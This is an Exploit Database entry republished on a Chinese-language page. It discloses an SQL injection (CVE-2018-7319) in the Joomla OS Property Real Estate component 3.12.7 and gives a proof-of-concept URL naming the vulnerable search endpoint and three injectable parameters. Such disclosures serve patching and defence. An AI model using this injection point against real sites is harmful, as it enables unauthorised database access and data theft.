Joomla! Component OS Property Real Estate 3.12.7 – SQL Injection

• Exploit Database
• 16 阅读

• 作者： Ihsan Sencan
  日期： 2018-02-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44165/

• # # # #
  # Exploit Title: Joomla! Component OS Property Real Estate 3.12.7 - SQL Injection
  # Dork: N/A
  # Date: 22.02.2018
  # Vendor Homepage: https://www.joomdonation.com/
  # Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/os-property/
  # Version: 3.12.7
  # Category: Webapps
  # Tested on: WiN7_x64/KaLiLinuX_x64
  # CVE: CVE-2018-7319
  # # # #
  # Exploit Author: Ihsan Sencan
  # # # #
  # 
  # POC: 
  # 
  # 1)
  # http://localhost/[PATH]/os-property-layouts/search-tools/advanced-search?&option=com_osproperty&task=property_advsearch
  # &cooling_system1=[SQL]
  # &heating_system1=[SQL]
  # &laundry=[SQL]
  # 
  # # # #